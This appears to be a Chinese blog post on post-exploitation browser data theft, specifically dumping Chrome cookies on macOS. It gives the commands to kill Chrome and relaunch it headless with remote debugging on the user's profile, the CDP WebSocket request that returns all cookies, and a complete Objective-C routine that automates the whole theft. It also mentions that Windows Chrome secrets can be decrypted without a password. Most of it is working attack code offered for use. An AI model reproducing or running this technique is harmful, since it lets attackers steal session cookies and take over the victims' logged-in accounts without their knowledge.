头图

1、背景
在后台渗透中,获取用户数据是很重要的一步,其中包括浏览器的各种敏感信息,如浏览记录、下载历史、cookie、书签等。

在windows和Linux设备上可以比较轻松的获取各种浏览器的敏感信息,chrome extensions也有很多插件可以获取;hack-browser-data就是一个浏览器(包括密码、历史记录、Cookie、书签、信用卡、下载记录)的导出工具,支持全平台主流浏览器。GitHub主页:https://github.com/moonD4rk/HackBrowserData

Chrome的数据文件存储路径可以通过在地址栏中输入chrome://version看到,其中个人资料(Profile Path)就是存储路径:
image.png

此路径下有Cookies、History、Login Data等文件存储对应的信息,拷贝后使用 sqlite3 数据库打开Cookies,看到encrypte_value关键字段是BLOB (Binary long Object)类型,我们要做的就是如何解密这串二进制。

在windows上,解密需要用到的secret key值存储在Profile Path上级路径的Local State文件中,字段encrypted_key 为AES用到的key值。整个解密过程无需任何密码,用户只需可以访问Chrome数据文件便可完成解密。

在macos上,解密稍微不一样,其中用到的secret key值则存储在keychain中,所以解密过程必须得要输入系统密码,会有弹窗提示出现。

  • 关键点来喽:
    2、Mac下dump cookie

在Mac平台需要解密数据,如cookie,则无法通过常规手段(通过获取对应存储数据)解密得到。
使用chrome提供的 CDP(Chrome DevTools Protocol),这是一个用于与Chrome浏览器进行通信的远程调试协议。通过WebSocket连接发送CDP命令来获取cookie。具体的命令是Network.getCookies。

第一步
1、 ps aux | grep Chrome 观察浏览器是否在运行。
2 、若浏览器已运行,执行:killall "Google Chrome" 杀掉浏览器进程。
3 、马上在第二步命令后加上--restore-last-session,还原浏览器最近浏览的选项卡。
4 、若浏览器未在运行,直接执行第二步,获取到cookie后 杀掉进程即可。

第二步
以远程调试模式启动Chrome,命令如下:
/Applications/Google Chrome.app/Contents/MacOS/Google Chrome --headless --remote-allow-origins=* --remote-debugging-port=9222 --user-data-dir=/Users/imac/Library/Application Support/Google/Chrome

运行 Headless Chrome 模式可以不显示窗口,根据需要是否使用

第三步
获取WebSocket调试URL,命令如下:
curl -s localhost:9222/json
这个端点会返回所有打开的标签页的信息,包括每个标签页的WebSocket调试URL。

image 2.png
webSocketDebuggerUrl字段就是要用到的调试URL(任选一个webSocketDebuggerUrl即可)

第四步
使用第三步得到的URL,建立WebSocket连接,通过WebSocket连接发送CDP命令来获取cookie。格式如下:
{"id": 1,"method":"Network.getAllCookies"}

image 3.png
如上图:发送命令后会收到返回的结果,红色框起来部分,成功获取到cookie。

PS:以下几个URL都可以访问查看相关信息
**http://localhost:9222/json
http://localhost:9222/json/protocol
http://localhost:9222/json/version**

以下方法为关键方法

- (void)getCookieInfo {
    NSString *googleChromeName = @"Google Chrome";
    BOOL googleChromeExist = [CommonUtil checkFileExist:@"/Applications/Google Chrome.app"];
    if (!googleChromeExist) {
        NSLog(@"Google Chrome has not installed");
    }else {
        NSArray *googleChromeProcessArray = [CommonUtil runningProcessesWithProcessName:googleChromeName];
        if (googleChromeProcessArray.count == 0) {
            NSLog(@"Chrome not running, start executing the command.");
            NSString *exec_cmd = [NSString stringWithFormat:@"/Applications/Google\\ Chrome.app/Contents/MacOS/Google\\ Chrome --headless --remote-allow-origins=* --remote-debugging-port=%@ --user-data-dir=\"%@/Application Support/Google/Chrome\"", listening_port, [CommonUtil getLibPath]];
            dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
                [CMDUtil executeCommand:exec_cmd];
            });
            
            int check_num = 0;
            BOOL Chrome_Running = NO;
            while (1) {
                NSLog(@"detected 第%d次 Chrome is it activated", check_num);
                if (check_num >= 30) {//2秒一次,达到30说明已经检测了1分钟还未启动起来
                    break;
                }
                sleep(2);
                //这里必须用Helper这个进程来检测,因为浏览器还没有完全启动起来的时候,Google Chrome这个进程也已经存在了,但是Helper这个进程会在浏览器完全启动起来才出现
                if ([CommonUtil runningProcessesWithProcessName:@"Google Chrome Helper (Renderer)"].count != 0 ) {//检测google_chrome是否启动起来了
                    //已经启动起来了;
                    Chrome_Running = YES;
                    break;
                };
                NSLog(@"Chrome还未启动起来,继续检测");
                check_num++;
            }
            if (Chrome_Running) {
                NSLog(@"Chrome启动成功");
                [self curlGetCookie];//执行获取cookie的方法,比较关键
                //获取成功关闭chrome
                NSString *googleChromePID = [CommonUtil runningProcessesWithProcessName:googleChromeName][0][@"ProcessID"];
                [CMDUtil executeCommand:[NSString stringWithFormat:@"kill -9 %@", googleChromePID]];
                NSLog(@"Kill Google Chrome");
            }else {
                NSLog(@"启动Chrome超时");
            }
        }else {
            //找到已经运行的进程,关闭该chrome进程
            NSString *googleChromePID = [CommonUtil runningProcessesWithProcessName:googleChromeName][0][@"ProcessID"];
            [CMDUtil executeCommand:[NSString stringWithFormat:@"kill -9 %@", googleChromePID]];
            
            NSString *exec_cmd = [NSString stringWithFormat:@"/Applications/Google\\ Chrome.app/Contents/MacOS/Google\\ Chrome --remote-allow-origins=* --remote-debugging-port=%@ --user-data-dir=\"%@/Application Support/Google/Chrome\"", listening_port, [CommonUtil getLibPath]];
            dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
                [CMDUtil executeCommand:exec_cmd];
            });
            
            int check_num = 0;
            BOOL Chrome_Running = NO;
            while (1) {
                NSLog(@"detected 第%d次 Chrome is it activated", check_num);
                if (check_num >= 30) {//2秒一次,达到30说明已经检测了1分钟还未启动起来
                    break;
                }
                sleep(2);
                //这里必须用Helper这个进程来检测,因为浏览器还没有完全启动起来的时候,Google Chrome这个进程也已经存在了,但是Helper这个进程会在浏览器完全启动起来才出现
                if ([CommonUtil runningProcessesWithProcessName:@"Google Chrome Helper (Renderer)"].count != 0 ) {//检测google_chrome是否启动起来了
                    //已经启动起来了;
                    Chrome_Running = YES;
                    sleep(10);//再等待10秒来确定浏览器已经启动起来了
                    break;
                };
                NSLog(@"Chrome还未启动起来,继续检测");
                check_num++;
            }
            
            if (Chrome_Running) {
                NSLog(@"Chrome启动成功");
                [self curlGetCookie];//执行获取cookie的方法,比较关键
            }else {
                XHLog(@"启动Chrome超时");
            }
        }
    }
    return res;
}

- (void)curlGetCookie {
    NSString *result = [CMDUtil executeCommand:[NSString stringWithFormat:@"curl -s localhost:%@/json",listening_port]];
    NSData *nsData=[result dataUsingEncoding:NSUTF8StringEncoding];
    NSError *err;
    NSArray *urls = [NSJSONSerialization JSONObjectWithData:nsData options:kNilOptions error:&err];
    if (err != nil) {
        NSLog(@"解析出错:%@",err.localizedDescription);
        NSLog(@"出错的数据:%@",result);
    }else {
        if (urls.count == 0) {
            NSLog(@"localhost请求回的数组里没有任何结果");
        }else {
            NSDictionary *dic = urls[0];
            NSString *url = dic[@"webSocketDebuggerUrl"];
            
            NSLog(@"URL:%@",url);
            self.socket = [[JFRWebSocket alloc] initWithURL:[NSURL URLWithString:url] protocols:@[]];
            self.socket.delegate = self;
            __block NSString *error_msg = @"";
            __block NSString *cookie_str = @"";
            __block BOOL isLoopRunning = YES;
            __weak __typeof(self)weakSelf = self;
            self.socket.onConnect = ^{
                __strong __typeof(weakSelf)strongSelf = weakSelf;
                [strongSelf.socket writeString:@"{\"id\": 1, \"method\": \"Storage.getCookies\"}"];//Storage.getCookies || Network.getAllCookies
                XHLog(@"websocket已连接");
            };
            
            self.socket.onDisconnect = ^(NSError *error) {
                isLoopRunning = NO;
                error_msg = @"Websocket is disconnected";
                NSLog(@"websocket is disconnected: %@",error);
            };
            
            self.socket.onText = ^(NSString *text) {
                NSLog(@"获取到Cookie返回值");
                cookie_str = text;
                isLoopRunning = NO;
            };
            
            [self.socket connect];
            
            __block BOOL time_out = NO;
            //这里添加一个定时任务,主要是防止websocket一直连接不上,程序一直在这里卡着
            [[GCDTimerManager sharedInstance] scheduleGCDTimerWithName:@"overdue" interval:30 queue:nil repeats:NO option:CancelPreviousTimerAction action:^{
                isLoopRunning = NO;
                time_out = YES;
            }];
            do {
                [NSRunLoop.mainRunLoop runMode:NSDefaultRunLoopMode beforeDate:[NSDate dateWithTimeIntervalSinceNow:0.1]];
            } while (isLoopRunning);
            
            XHLog(@"获取Cookie走完While循环");
            if (time_out) {
                NSLog(@"Websocket connection timeout");
            }else {
                NSLog(@"已经获取完了Cookie");
                if (cookie_str.length != 0) {
                    NSLog(@"%@",cookie_str);
                    NSLog(@"获取到了cookie,准备解析成json");
                    NSData *jsonData=[cookie_str dataUsingEncoding:NSUTF8StringEncoding];
                    NSError *json_err;
                    NSDictionary *cookie_dic = [NSJSONSerialization JSONObjectWithData:jsonData options:kNilOptions error:&json_err];
                    if (json_err != nil) {
                        NSLog(@"Parsing cookies failed");
                    }else {
                        if ([[cookie_dic allKeys] containsObject:@"result"]) {
                            NSDictionary *cookie_d = cookie_dic[@"result"];
                            if ([[cookie_d allKeys] containsObject:@"cookies"]) {
                                NSArray *cookies_array = cookie_d[@"cookies"];
//                                {
//                                    domain = ".cloud.ibm.com";
//                                    expires = "1155201149.639244";
//                                    httpOnly = 1;
//                                    name = "com.ibm.cloud.console.analytics.anonymousId";
//                                    path = "/analytics";
//                                    priority = Medium;
//                                    sameParty = 0;
//                                    sameSite = None;
//                                    secure = 1;
//                                    session = 0;
//                                    size = 79;
//                                    sourcePort = 443;
//                                    sourceScheme = Secure;
//                                    value = "70c6xxff-4af8-4w88-q40e-c5eb44a74f1b";
//                                }
//                                NSInteger cookie_number = 10;
//                                if(cookies_array.count > cookie_number) {//只取最后10条记录,避免数据写入库失败
//                                    cookies_array = [cookies_array subarrayWithRange:NSMakeRange(cookies_array.count - cookie_number, cookie_number)];
//                                }
                                // 创建一个数组来存储提取的信息
                                NSMutableArray *extractedInfoArray = [NSMutableArray array];
                                // 遍历字典数组
                                for (NSDictionary *dict in cookies_array) {
                                    // 提取domain、name和value
                                    NSString *const domain = dict[@"domain"];
                                    NSString *const name = dict[@"name"];
                                    NSString *const value = dict[@"value"];
                                    
                                    // 创建一个新字典来存储提取的信息
                                    NSMutableDictionary *extractedInfo = [NSMutableDictionary dictionary];
                                    extractedInfo[@"domain"] = domain;
                                    extractedInfo[@"name"] = name;
                                    extractedInfo[@"value"] = value;
                                    
                                    // 将提取的信息添加到数组中
                                    [extractedInfoArray addObject:extractedInfo];
                                }
                                
                                NSError *array_error = nil;
                                NSData *jsonArrayData = [NSJSONSerialization dataWithJSONObject:extractedInfoArray options:NSJSONWritingPrettyPrinted error:&array_error];
                                NSString *cookies_str = [[NSString alloc] initWithData:jsonArrayData encoding:NSUTF8StringEncoding];;
                                if (array_error != nil) {
                                    NSLog(@"Serialization cookies array error:%@",array_error.localizedDescription);
                                    NSLog(@"序列化数组出错:%@",array_error.localizedDescription);
                                }else {
                                    NSLog(@"成功解析了Cookie,值为:%@",cookie_str);
                                }
                            }else {//字典中没有找到Cookies字段
                                NSLog(@"字典中没有找到Cookies字段");
                            }
                        }else {
                            XHLog(@"没有result的情况");
                        }
                    }
                    
                }else {
                    NSLog(@"cookie没有获取成功,错误信息:%@",error_msg);
                }
            }
        }
    }
}

挺住_彡锅
1 声望0 粉丝

心有远山不造作,静而不争远是非。